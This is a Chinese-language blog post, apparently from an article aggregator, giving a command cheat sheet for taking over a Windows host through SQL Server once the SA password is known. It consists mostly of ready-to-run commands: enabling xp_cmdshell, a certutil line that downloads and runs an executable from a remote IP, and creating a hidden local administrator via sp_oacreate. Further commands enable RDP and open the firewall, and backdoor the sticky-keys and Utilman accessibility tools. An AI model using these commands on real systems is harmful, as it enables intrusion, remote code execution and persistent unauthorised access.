GetShell 之:利用 SQLServer GetShell
2024-09-08 18:20:45
GetShell 之:利用 SQLServer GetShell
目录
1 SQLServer 基础操作
查看版本:
select @@version;
查询所有的数据库名称:
SELECT Name FROM Master..SysDatabases ORDER BY Name;
2 SQLServer 利用方式:已获得SA账号权限
如果网站里面使用的数据库是 sqlserver,那么如果找到 sa 的密码,利用提权脚本,执行命令。
2.1 xp_cmdshell
直接执行命令:
exec master..xp_cmdshell 'whoami';
远程下载Payload并执行
exec xp_cmdshell 'certutil -urlcache -split -f http://10.10.10.128/cc123.exe & cc123.exe'
以上命令需要启用
xp_cmdshell
,在 SQL Server 2005以后默认关闭,需要手动开启# 开启高级选项
exec sp_configure 'show advanced options', 1;
# 配置生效
RECONFIGURE;
# 开启xp_cmdshell
exec sp_configure'xp_cmdshell', 1;
# 配置生效
RECONFIGURE; # 命令一次开启:
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE; # 查看xp_cmdshell状态
exec sp_configure; # 关闭xp_cmdshell
# 开启高级选项
exec sp_configure 'show advanced options', 1;
# 配置生效
RECONFIGURE;
# 开启xp_cmdshell
exec sp_configure'xp_cmdshell', 0;
# 配置生效
RECONFIGURE;
SQLServer 删除/恢复 xp_cmdshell
# 判断是否删除xp_cmdshell,返回1代表存在:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' # 在SQL Server 2005及之前的版本,删除xp_cmdshell:
exec master..sp_dropextendedproc xp_cmdshell; # 恢复xp_cmdshell
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int; # 恢复xp_cmdshell需要xplog70.dll,若管理员也将xplog70.dll删除,需要重新上传xplog70.dll:
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;
2.2 sp_oacreate
如果xp_cmdshell组件被删除了话,还可以使用sp_oacreate来进行提权。
开启sp_oacreate
# 开启sp_oacreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure; # 关闭sp_oacreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure; # 查看 sp_oacreate 状态
exec sp_configure;
添加管理员
# 开启
exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
# 添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test Admin123 /add' # 添加用户到管理员组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'
2.3 远程连接目标主机
开启远程桌面
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; # 查看远程桌面开启情况
exec xp_cmdshell 'netstat -ano -p tcp'; # 开启防火墙
exec xp_cmdshell 'netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow'; # 关闭:仅允许运行使用网络级别身份验证的远程桌面
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','UserAuthentication','REG_DWORD',0;
2.4 替换粘滞键
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
- 在目标主机上点击5次
shift
键,弹出cmd窗口。
2.5 替换 Utilman.exe
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
- 点击锁屏页面左下角
轻松使用
按钮触发,自动弹出cmd
最后
最新文章
- [bzoj2732][HNOI2012]射箭
- IIS上部署Net.Core
- 关于discuz“终于解决“头像保存过程中发生网络错误,请重试";”的解决方法
- Topshelf入门
- 【Leetcode】【Medium】Pow(x, n)
- OpenSSL Command-Line HOWTO
- Python+Django+Eclipse 在Windows下快速开发自己的网站
- UIWebView获得内容的高 高度自适应 宽度自适应
- 2733: [HNOI2012]永无乡 - BZOJ
- 【ASP.NET Web API教程】5.1 HTTP消息处理器
- javascript IP验证
- 常用业务接口界面化 in python flask
- Day3 Python基础学习——文件操作、函数
- [转]Wing IDE 6.0 安装及算号器注册机代码
- day9 函数练习题
- DRF的视图和路由
- [转]如何在 Git 里撤销(几乎)任何操作
- Zabbix监控JVM内存
- After reading a picture than out a picture
- AXFR和IXFR区域传输及原理